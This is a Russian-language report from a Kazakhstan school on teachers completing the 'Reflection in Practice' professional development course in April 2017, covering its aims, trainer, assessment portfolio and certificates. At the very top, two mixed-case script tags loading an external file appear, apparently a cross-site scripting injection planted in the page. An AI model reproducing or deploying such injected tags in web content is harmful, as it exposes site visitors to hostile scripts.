<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Рефлексивный отчет слушателей

курса  «Рефлексия в практике» по

программе профессионального развития педагогических кадров в

общеобразовательных школах.

15.04.2017 года в Новоалександровской средней школе прошло мероприятие по завершению курса

«Рефлексия в практике» по программе профессионального развития педагогических кадров в общеобразовательных школах.

Во исполнении протокольного поручения совещания Министерства образования и науки Республики Казахстан от 30 марта 2016 года по вопросу использования субботних дней для профессионального развития учителей общеобразовательных школ Республики Казахстан была разработана модель профессионального развития учителя

в рамках методического дня, где предложено проводить обучение для педагогического коллектива школы по принципу «равный равному».

Цель данной программы – освоение педагогами школы технологии и методики обучения,

способствующих развитию у учащихся творческих, исследовательских навыков,

критического и логического мышления, совершенствование навыков планирования

процесса преподавания, эффективного системного оценивания учебных достижений учащихся.

В связи с этим в нашей школе была организован методический день, составлен план проведения тренингов, которые  проводила учитель высшей категории, 1 «продвинутый»  уровень, английского языка Сагадинова Майра Калелкановна,  прошедшая  курсы тренеров по данной программе  при ЦПМ АОО НИШ.

Администрацией  школы был издан приказ о завершении обучения слушателей курсов «Рефлексия в практике».

Группа слушателей состояла  из  15 учителей. Решение по итоговой аттестации педагогов, прошедших обучение по Программе было принято коллегиально школьным тренером и администрацией школы на основании результатов суммативного оценивания портфолио обучающегося в которое входили:

-рефлексивный отчет с обоснованием методики внедрения в практическую деятельность одной из тем Программы и анализом ее реализации, демонстрирующим эффективность внедрения изменений в практику преподавания и обучения, а так же управления ими (2000 слов)

-3 плана уроков, демонстрирующих внедрение одной из тем Программы, с комментариями (250 слов).

-среднесрочное планирование (план серии последовательных уроков), по одному разделу учебного плана. Этот пункт был внесен по усмотрению тренера, с целью умения  практического составления и  применения слушателями для дальнейшей  работы.

В завершении педагогам, завершившим полный курс обучения по Программе и успешно прошедшим процедуру оценивания, были вручены свидетельства.